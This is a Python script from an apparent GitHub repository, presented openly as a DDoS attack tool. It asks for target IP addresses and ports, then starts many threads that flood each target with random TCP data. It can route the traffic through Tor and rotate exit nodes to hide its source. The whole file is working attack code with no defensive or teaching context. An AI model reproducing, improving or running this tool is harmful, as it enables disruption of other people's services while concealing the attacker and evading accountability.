-
Notifications
You must be signed in to change notification settings - Fork 59
/
Copy pathddos.py
133 lines (111 loc) · 5.68 KB
/
ddos.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import os
import time
import socket
import threading
import logging
import subprocess
import socks # PySocks library for SOCKS proxy
from stem import Signal
from stem.control import Controller
# DDOS-Attack [ASCII Art]
def display_banner():
banner = "██████╗ ██████╗ ██████╗ ███████╗ █████╗ ████████╗████████╗ █████╗ ██████╗██╗ ██╗\n"
banner += "██╔══██╗██╔══██╗██╔═══██╗██╔════╝ ██╔══██╗╚══██╔══╝╚══██╔══╝██╔══██╗██╔════╝██║ ██╔╝\n"
banner += "██║ ██║██║ ██║██║ ██║███████╗█████╗███████║ ██║ ██║ ███████║██║ █████╔╝\n"
banner += "██║ ██║██║ ██║██║ ██║╚════██║╚════╝██╔══██║ ██║ ██║ ██╔══██║██║ ██╔═██╗\n"
banner += "██████╔╝██████╔╝╚██████╔╝███████║ ██║ ██║ ██║ ██║ ██║ ██║╚██████╗██║ ██╗\n"
banner += "╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝\n"
print(banner)
display_banner()
# Date and Time Declaration and Initialization
mydate = time.strftime('%Y-%m-%d')
mytime = time.strftime('%H-%M')
# Set up logging
logging.basicConfig(filename='ddos_attack.log', level=logging.INFO, format='%(asctime)s - %(message)s')
# Function to start Tor service in the background
def start_tor_service():
try:
subprocess.Popen(["tor"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Tor service started in the background.")
except Exception as e:
print(f"Failed to start Tor service: {e}")
exit(1)
# Function to renew Tor identity (change exit node)
def renew_tor_identity():
try:
with Controller.from_port(port=9051) as controller:
controller.authenticate()
controller.signal(Signal.NEWNYM)
print("Tor identity renewed.")
except Exception as e:
print(f"Failed to renew Tor identity: {e}")
# Function to send packets via Tor
def send_packets_via_tor(ip, port, data, rate_limit):
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9050)
socket.socket = socks.socksocket
sock = None # Initialize sock as None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
while True:
sock.send(data)
print(f"[Tor] Sent {len(data)} bytes to {ip}:{port}")
time.sleep(rate_limit)
except Exception as e:
logging.error(f"Error sending packet to {ip}:{port} via Tor: {e}")
finally:
if sock: # Check if sock was successfully initialized
sock.close()
# Function to send packets directly (without Tor)
def send_packets_direct(ip, port, data, rate_limit):
sock = None
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
while True:
sock.send(data)
print(f"[Direct] Sent {len(data)} bytes to {ip}:{port}")
time.sleep(rate_limit)
except Exception as e:
logging.error(f"Error sending packet to {ip}:{port} directly: {e}")
finally:
if sock:
sock.close()
# Main script
if __name__ == "__main__":
ips = input("IP Targets (separated by commas): ").split(',')
# Default values if user doesn't provide inputs
ports_input = input("Ports (separated by commas, leave blank for default): ")
ports = list(map(int, ports_input.split(','))) if ports_input else [80, 443]
rate_limit_input = input("Rate Limit (seconds between packets, leave blank for default): ")
rate_limit = float(rate_limit_input) if rate_limit_input else 0.1
user_agent = "Mozilla/5.0" # Default value, removed from user prompt as per requirement
data_size_input = input("Data Size (bytes, leave blank for default): ")
data_size = int(data_size_input) if data_size_input else 600
threads_input = input("Number of threads (leave blank for default): ")
threads = int(threads_input) if threads_input else 20
use_tor_input = input("Send packets via Tor? (y/n, leave blank for default 'y'): ").lower()
use_tor = use_tor_input == 'y' if use_tor_input else True
# Prepare data payload
data = os.urandom(data_size)
# Start Tor service if selected
if use_tor:
start_tor_service()
time.sleep(5) # Wait for Tor to initialize
print("Thank you for using the KARTHIK-LAL (DDOS-ATTACK-TOOL).")
time.sleep(3)
for ip in ips:
for port in ports:
print(f"Starting the attack on {ip} at port {port}...")
for _ in range(threads):
if use_tor:
t = threading.Thread(target=send_packets_via_tor, args=(ip, port, data, rate_limit))
else:
t = threading.Thread(target=send_packets_direct, args=(ip, port, data, rate_limit))
t.start()
# Clean the terminal
if os.name == "nt": # Windows
os.system("cls")
else: # Linux or Mac
os.system("clear")
input("Press Enter to exit...")